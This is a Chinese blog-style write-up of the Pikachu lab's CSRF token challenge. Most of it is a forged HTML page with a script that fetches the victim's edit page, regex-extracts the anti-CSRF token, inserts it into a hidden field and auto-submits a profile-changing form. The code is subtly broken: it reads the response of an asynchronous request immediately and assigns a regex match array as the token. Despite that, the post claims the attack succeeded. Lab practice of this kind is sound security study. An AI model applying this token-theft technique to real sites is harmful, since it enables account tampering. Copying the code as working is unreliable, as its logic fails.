刚接触安全的小白,最近在做pikachu的靶场,关于csrf(token)这个题目 网上找了好久没有找到答案,于是乎自己来做一做。
思路:
网站的token是每次通信后嵌入在页面中的,只要不刷新token一直有效。
伪造页面,在页面中植入攻击代码:
【1】先后台请求一次url,服务器会发送一个拥有新token的html
【2】解析html文本爬取token的值,并通过dom赋值给页面表单中的token标签
【3】后台发送攻击请求
伪造页面实现
<script>
window.onload = function() {
<!--ajax先请求一次-->
const html = jQuery.get('http://pikachu.org/vul/csrf/csrftoken/token_get_edit.php');
<!--获取到带有token的html文本,通过正则匹配到token-->
const text = html.responseText;
const takeToken = text.match(/\w{27}/gm)
<!--使用dom修改表单里token的值-->
document.getElementById("token").value = takeToken
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="get" action="http://pikachu.org/vul/csrf/csrftoken/token_get_edit.php">
<p class="per_sex">性别:<input type="text" name="sex" value="heihei"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="999999"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="tiananmen"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="qq@qq.com"/></p>
<input id="token" type="hidden" name="token" value="123456789" />
<input id="postsubmit" class="sub" type="submit" name="submit" value="submit"/>
</form>
</body>
</html>
结果
修改成功!哈哈哈!